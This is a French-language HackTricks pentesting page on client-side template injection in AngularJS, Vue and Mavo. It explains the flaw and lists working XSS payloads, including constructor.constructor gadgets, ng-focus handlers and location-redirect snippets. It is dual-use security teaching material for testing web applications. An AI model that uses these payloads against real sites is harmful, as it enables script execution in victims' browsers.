hacktricks/pentesting-web/client-side-template-injection-csti.md

6.9 KiB

Injection de modèle côté client (CSTI)

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}

Résumé

C'est comme une Injection de modèle côté serveur mais dans le client. Le SSTI peut vous permettre d'exécuter du code sur le serveur distant, le CSTI pourrait vous permettre d'exécuter du JavaScript arbitraire dans le navigateur de la victime.

Tester cette vulnérabilité est très similaire au cas de SSTI, l'interpréteur s'attend à un modèle et l'exécutera. Par exemple, avec une charge utile comme {{ 7-7 }}, si l'application est vulnérable, vous verrez un 0, et sinon, vous verrez l'original : {{ 7-7 }}

AngularJS

AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML à travers des attributs connus sous le nom de directives, l'une d'elles étant ng-app. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.

Dans des scénarios où l'entrée utilisateur est insérée dynamiquement dans le corps HTML étiqueté avec ng-app, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en tirant parti de la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment le code JavaScript peut être exécuté :

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Vous pouvez trouver un exemple en ligne très basique de la vulnérabilité dans AngularJS à http://jsfiddle.net/2zs2yv7o/ et dans Burp Suite Academy

{% hint style="danger" %} Angular 1.6 a supprimé le sandbox donc à partir de cette version, un payload comme {{constructor.constructor('alert(1)')()}} ou <input ng-focus=$event.view.alert('XSS')> devrait fonctionner. {% endhint %}

VueJS

Vous pouvez trouver une implémentation vulnérable de Vue à https://vue-client-side-template-injection-example.azu.now.sh/
Payload fonctionnel : https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Et le code source de l'exemple vulnérable ici : https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Un très bon article sur CSTI dans VUE peut être trouvé à l'adresse https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Crédit : Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Crédit : Mario Heiderich

Vérifiez plus de charges utiles VUE dans https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Charge utile :

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Plus de payloads dans https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Liste de détection par force brute

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}